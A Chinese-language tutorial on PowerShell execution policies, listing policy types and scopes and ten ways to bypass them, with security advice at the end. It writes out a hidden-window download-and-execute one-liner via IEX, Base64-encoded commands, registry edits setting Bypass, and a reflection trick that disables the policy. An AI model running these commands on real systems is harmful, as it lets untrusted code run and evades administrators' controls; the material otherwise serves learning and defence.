浅谈powershell执行策略
字数 1218 2025-08-25 22:59:10
PowerShell执行策略详解与绕过技术
一、PowerShell执行策略概述
PowerShell执行策略(Execution Policy)是Windows系统用于控制PowerShell脚本运行的安全机制,主要目的是防止用户无意中运行恶意脚本,而非作为严格的安全边界。
执行策略类型
-
Restricted(默认策略)
- Windows客户端默认策略
- 允许运行单个命令,但阻止所有脚本执行
- 阻止.ps1xml、.psm1和.ps1等脚本文件
-
AllSigned
- 允许运行脚本
- 要求所有脚本必须由受信任发布者签名
- 包括本地编写的脚本也需要签名
-
RemoteSigned
- Windows服务器默认策略
- 允许运行脚本
- 要求从互联网下载的脚本必须有数字签名
- 本地编写的脚本无需签名
-
Unrestricted
- 允许运行未签名脚本
- 运行非本地Intranet区域的脚本前会警告用户
-
Bypass
- 不阻止任何脚本执行
- 不显示警告或提示
- 设计用于将PowerShell嵌入其他应用程序的场景
-
Undefined
- 当前作用域未设置执行策略
- 如果所有作用域都是Undefined,则有效策略为Restricted
执行策略作用域
执行策略可以应用于不同范围:
MachinePolicy:组策略为所有用户设置UserPolicy:组策略为当前用户设置Process:当前PowerShell进程设置CurrentUser:仅为当前用户设置LocalMachine:为所有用户设置
二、执行策略相关命令
查看执行策略
# 查看当前执行策略
Get-ExecutionPolicy
# 查看所有作用域的执行策略
Get-ExecutionPolicy -List
修改执行策略
# 设置执行策略(需要管理员权限)
Set-ExecutionPolicy <策略名称>
三、绕过执行策略的技术
1. 直接粘贴脚本到交互窗口
由于Restricted策略允许运行单个命令,可以将脚本内容直接粘贴到PowerShell交互窗口执行。
2. 使用-Command参数
powershell -command "Write-Host 'this is a test'"
适用于简单脚本,复杂脚本可能无法执行。
3. 管道传输方法
# 通过echo
echo "Write-Host 'this is a test'" | PowerShell.exe -noprofile -
# 通过type命令
type script.ps1 | PowerShell.exe -noprofile -
# 使用Get-Content
Get-Content script.ps1 | PowerShell.exe -noprofile -
4. 使用Invoke-Command/Invoke-Expression
# Invoke-Command
Invoke-Command -ScriptBlock {Write-Host "this is a test"}
# Invoke-Expression
Get-Content script.ps1 | Invoke-Expression
# 或简写
Get-Content script.ps1 | iex
5. 使用Bypass标记
powershell.exe -ExecutionPolicy Bypass -File script.ps1
除RemoteSigned外,其他策略标记均可使用。
6. 使用编码命令
$command = "Write-Host 'this is a test'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand
7. URL下载执行
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://example.com/script.ps1'))"
8. 注册表修改(需要权限)
# 修改LocalMachine(需要管理员)
reg add HKLM\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell /v ExecutionPolicy /t REG_SZ /d Bypass
# 修改CurrentUser(普通用户可能可行)
reg add HKCU\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell /v ExecutionPolicy /t REG_SZ /d Bypass
9. 基于作用域绕过
# 仅修改当前进程作用域
Set-ExecutionPolicy Bypass -Scope Process
# 修改当前用户作用域
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
10. 替换AuthorizationManager
function Disable-ExecutionPolicy {
($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue($executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
}
Disable-ExecutionPolicy
四、安全注意事项
- 执行策略不是安全边界,恶意代码仍可能通过多种方式执行
- 企业环境中应结合组策略、AppLocker等其他安全措施
- 从不受信任来源下载和执行脚本存在高风险
- 建议对重要脚本进行数字签名
五、最佳实践
- 生产环境建议使用RemoteSigned或AllSigned策略
- 开发环境可使用Bypass或Unrestricted
- 对频繁使用的脚本进行数字签名
- 结合日志记录监控PowerShell活动
通过理解PowerShell执行策略及其绕过技术,可以更灵活地在不同场景下使用PowerShell,同时也能更好地防范潜在的恶意脚本攻击。